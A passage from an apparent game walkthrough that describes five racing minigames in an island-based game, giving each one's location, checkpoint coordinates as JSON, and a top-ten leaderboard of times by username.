11.747929597 seconds, by ZhyCo (+0.0676)
11.747988923 seconds, by skynetDev (+0.0677)
12.077908092 seconds, by apok (+0.3976)
12.143882522 seconds, by LukeIsCool (+0.4636)
12.34190991 seconds, by raffer91 (+0.6616)
12.605075124 seconds, by jhalpin (+0.9248)
12.605923599 seconds, by BoomerG (+0.9256)
12.637877072 seconds, by LateM00N (+0.9576)
12.704601941 seconds, by kruczy (+1.0243)

4 - Trench Run

I discovered the Trench Run racing minigame situated northwest of Space Island, near Spaceport Point Port. This exhilarating race necessitates players to skillfully navigate through each checkpoint within a specified time, employing arrow keys for precise control.

trenchrun

Here are the coordinates of the race:

coordinates
[
    {"x": 339.0468175513332, "y": 384.34469101166866},
    {"x": 452.19259730717283, "y": 409.5808053971302},
    {"x": 461.11863647645947, "y": 371.51738119150633},
    {"x": 346.8063055788408, "y": 330.8851975072226},
]

Here is my best score:

trenchrun

Top Scores:

17.587774331 seconds, by skynetDev
19.834568669 seconds, by seafallen (+2.2468)
20.591909164 seconds, by apok (+3.0041)
24.354035824 seconds, by TheGreenNinja (+6.7663)
25.378421632 seconds, by BrendenPerdue (+7.7906)
25.675141608 seconds, by ahojnicki (+8.0874)
26.068749668 seconds, by BrickHouse (+8.4810)
27.026591818 seconds, by mooneyk (+9.4388)
27.652763674 seconds, by Konchu (+10.0650)
28.742924647 seconds, by puckerfest (+11.1552)

5 - Thread the Needle

I located the Thread the Needle racing minigame situated west of Steampunk Island, near Rusty Quay Port. This fast-paced race challenges players to navigate through each checkpoint within a designated time frame, utilizing arrow keys for precise control.

threadtheneedle

Here are the coordinates of the race:

coordinates
[
    {"x": 714.521036015623, "y": 1040.2029814594011},
    {"x": 737.7210360156231, "y": 1076.2029814594011},
    {"x": 712.7210360156231, "y": 1073.0029814594013},
    {"x": 717.321036015623, "y": 1027.8029814594013},
    {"x": 638.1210360156231, "y": 1019.0029814594012},
    {"x": 730.7210360156231, "y": 1021.6029814594012},
]

Here is my best score:

threadtheneedle

Top Scores:

15.079904972 seconds, by apok
15.146924184 seconds, by seafallen (+0.0670)
15.148671474 seconds, by ahojnicki (+0.0688)
15.345002682 seconds, by BoomerG (+0.2651)
15.442551052 seconds, by bg13 (+0.3626)
15.476936527 seconds, by skynetDev (+0.3970)
15.673776546 seconds, by Mal0rt (+0.5939)
15.773984795 seconds, by masterlake (+0.6941)
15.806819718 seconds, by BrickHouse (+0.7269)
15.80701053 seconds, by mooneyk (+0.7271)

6 - The Big Dipper

I came across The Big Dipper racing minigame situated southwest of Steampunk Island, near Rusty Quay Port. In this exhilarating challenge, players must navigate through each checkpoint within a specified time using arrow keys for precise control.

thebigdipper

Here are the coordinates of the race:

coordinates
[
    {"x": 718.8149909812448, "y": 1178.254000928796},
    {"x": 671.8816576479115, "y": 1166.7873342621294},
    {"x": 672.1483243145782, "y": 1180.9206675954626},
    {"x": 755.6149909812449, "y": 1176.9206675954626},
    {"x": 763.8816576479115, "y": 1248.654000928796},
    {"x": 803.6149909812449, "y": 1248.3873342621293},
    {"x": 802.0149909812449, "y": 1225.9873342621293},
    {"x": 823.6149909812449, "y": 1196.1206675954627},
    {"x": 836.6816576479115, "y": 1166.7873342621294},
    {"x": 811.8816576479115, "y": 1187.854000928796},
    {"x": 754.2816576479115, "y": 1177.1873342621293},
]

Here is my best score:

thebigdipper

Top Scores:

22.208915553 seconds, by seafallen
22.275887684 seconds, by apok (+0.0670)
22.571051172 seconds, by skynetDev (+0.3621)
23.101061331 seconds, by BoomerG (+0.8921)
23.167035232 seconds, by mooneyk (+0.9581)
23.659447692 seconds, by BrickHouse (+1.4505)
24.022480665 seconds, by ahojnicki (+1.8136)
24.023946258 seconds, by bg13 (+1.8150)
24.418535275 seconds, by GyatJaydenRizz (+2.2096)
24.848556426 seconds, by TheGreenNinja (+2.6396)

7 - BRUHmuda

I stumbled upon the BRUHmuda racing minigame situated to the east of Film Noir Island, near Chiaroscuro City Port. This timed race, navigated using arrow keys, comes with a unique challenge: exercise caution with your bearing line. The race is based on the minimap, which doesn’t precisely depict the full global perspective. Envision the minimap as a globe, enabling movement to its opposite side, but bear in mind that your bearing line might not accurately capture this phenomenon.

BRUHmuda

Here are the coordinates of the race:

coordinates
[
    {"x": 1981.8043832489109, "y": 1112.2173208736335},
    {"x": 33.5377165822442, "y": 1071.150654206967},
    {"x": 34.0710499155775, "y": 1117.2839875403001},
    {"x": 1973.5377165822442, "y": 1074.8839875403003},
    {"x": 13.2710499155776, "y": 1054.8839875403003},
    {"x": 1991.937716582244, "y": 1125.550654206967},
    {"x": 47.4043832489108, "y": 1078.6173208736336},
    {"x": 1979.937716582244, "y": 1078.6173208736336},
    {"x": 32.4710499155776, "y": 1121.0173208736335},
]

Here is my best score:

bruhmuda

Top Scores:

26.003970507 seconds, by skynetDev
26.234922815 seconds, by seafallen (+0.2310)
26.531983487 seconds, by apok (+0.5280)
27.619003562 seconds, by BrickHouse (+1.6150)
28.412990145 seconds, by vexinc (+2.4090)
30.229555219 seconds, by mooneyk (+4.2256)
30.425865676 seconds, by ahojnicki (+4.4219)
30.427664539 seconds, by FG371 (+4.4237)
31.879203343 seconds, by chriselgee (+5.8752)
32.273711926 seconds, by mrx227 (+6.2697)

8 - The Grand Tour

I discovered The Grand Tour racing minigame located to the north of Space Island, near Cape Cosmic Port. This timed race, requiring players to utilize arrow keys for navigation, takes them on a thrilling journey to every island in the vicinity.

thegrandtour

Here are the coordinates of the race:

waypoints
[
    {"x": 786.8047564500714, "y": 162.19489262253794},
    {"x": 549.6299289280247, "y": 336.78111387645083},
    {"x": 354.48051693144345, "y": 669.9095114720957},
    {"x": 351.6131851636, "y": 1656.8237757791446},
    {"x": 760.3191889860796, "y": 702.1628507442036},
    {"x": 1057.0435141942905, "y": 659.6697535837518},
    {"x": 1632.5696560003048, "y": 210.46586312286473},
    {"x": 1824.7170728927533, "y": 901.45000704784},
    {"x": 1388.2330313889415, "y": 1719.006705388743},
    {"x": 951.3989446657206, "y": 1204.1533301081556},
]

Here is my best score:

the grand tour

Top Scores:

306.635978167 seconds, by seafallen
309.96891392 seconds, by apok (+3.3329)
311.552779832 seconds, by noodlebox (+4.9168)
311.849881126 seconds, by BrickHouse (+5.2139)
331.583981738 seconds, by mooneyk (+24.9480)
333.002862456 seconds, by skynetDev (+26.3669)
337.457940571 seconds, by vaderrob88 (+30.8220)
337.722540803 seconds, by ahojnicki (+31.0866)
338.086126513 seconds, by seaelk (+31.4501)
339.569679302 seconds, by cleverusername (+32.9337)